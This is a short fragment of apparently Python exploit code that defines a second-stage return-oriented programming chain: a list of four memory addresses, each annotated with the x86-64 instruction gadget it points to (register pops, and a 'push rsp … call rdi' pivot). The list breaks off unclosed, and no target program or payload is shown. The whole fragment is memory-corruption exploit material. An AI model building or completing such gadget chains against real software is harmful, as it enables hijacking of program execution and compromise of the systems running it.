stage_2 = [
          0xbe1e18e, # pop r12; pop rdi; ret
          0xbe45a01, # pop r13; ret
          0xbe2a433, # pop r14; pop rbp; ret
          0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi